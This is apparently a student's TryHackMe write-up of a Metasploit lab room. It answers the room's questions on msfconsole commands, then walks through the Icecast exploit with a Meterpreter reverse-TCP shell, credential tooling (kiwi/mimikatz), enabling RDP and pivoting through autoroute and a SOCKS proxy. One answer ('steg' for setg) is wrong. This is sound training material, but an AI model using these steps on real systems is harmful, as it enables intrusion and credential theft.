Tryhackme Rpmetasploit CTF
Hello Friend ! i’m going to make a write-up about tryhackme’s room Metasploit: Exploitation.
Metasploit: Metasploit Framework is an exploitation framework created by Rapid7 organization Metasploit is written in Ruby and has been in development for many years. It allows you to enter the mind of a hacker and use the same methods for probing and infiltrating networks and servers.
In Metasploit Framework 4.0 you can create your own exploits and then audit your website and network security by just launching the exploits along with the respective payloads, through its console mode or Armitage graphical user interface
Task :1
Kali and most other security distributions of Linux include Metasploit by default. If you are using a different distribution of Linux, verify that you have it installed or install it from the Rapid 7 Github repository.
Task2:
First, we need to initialize the database! We will do that with the command:
Ans: msfdb init
we open the msfconsole help by entering the command msfconsole
Ans: -h
We can start the Metasploit console on the command line without showing the banner or any startup information as well by typing the command msfconsole
Ans: -q
After Metasploit has started, we will check that we have connected to the database by entering the command
Ans: db_status
We have connected to the database! Type of database it uses is
Ans: postgresql
Task:3
Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help
The help menu has a very short one-character alias, what is it? Ans: ?
What is the base command we use for searching?
Ans: search
what command we use to select it as the active module?
Ans: use
if we want to view information about either a specific module or just the active one we have selected
Ans: info
we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?
Ans: connect
what command displays the motd/ascii art we see when we start msfconsole?
Ans: banner
First, what command do we use to change the value of a variable?
Ans: set
What command changes the value of a variable globally?
Ans: steg
Now that we’ve learned about to change the value of variables, how do we view them?
Ans: get
When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?
Ans: spool
What command can we use to store the settings/active datastores from Metasploit to a settings file?
Ans: save
Task: 4
Easily the most common module utilized, which module holds all of the exploit code we will use
Ans: Exploit
Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation
Ans: payload
Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.
Ans: Auxiliary
One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities
Ans: Post
Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection
Ans: Encoder
Last but not least, which module is used with buffer overflow and ROP attacks?
Ans: nop
Not every module is loaded in by default, what command can we use to load different modules?
Ans: load
Task: 5
Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP
We enter the command db_nmap -sV 10.10.186.71
What service does nmap identify running on port 135?
Ans: msrpc
Next we type the command hosts to see what information we have collected in the database.
We next type the command services. And also try the command vulns.
Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. use icecast
Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type use followed by a unique string found within only the target exploit. For example, try this out now with the following command use icecast. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start
Ans: exploit/windows/http/icecast_header
Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface
One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack. Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.
Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`
After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`
Task: 6
First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?
Ans: spoolsv.exe
Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process?
Ans: migrate
Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?
Ans: getuid
How about finding more information out about the system itself?
Ans: info
This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it
Ans: load kiwi
Let’s go ahead and figure out the privileges of our current user, what command do we run?
Ans: getprivs
What command do we run to transfer files to our victim computer?
Ans: upload
How about if we want to run a Metasploit module?
Ans: run
A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim
Ans: ipconfig
Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command run post/windows/gather/checkvm. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.
Next, let’s try: run post/multi/recon/local_exploit_suggester. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room Ice.
Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: run post/windows/manage/enable_rdp
One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?
Ans: shell
Task: 7
Let’s go ahead and run the command run autoroute -h, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.
Ans: run autoroute -s 172.18.1.0 -n 255.255.255.0
Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?
Ans: auxiliary/server/socks5
Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?
Ans: proxychains
By shaan Grover | Infosec Intern
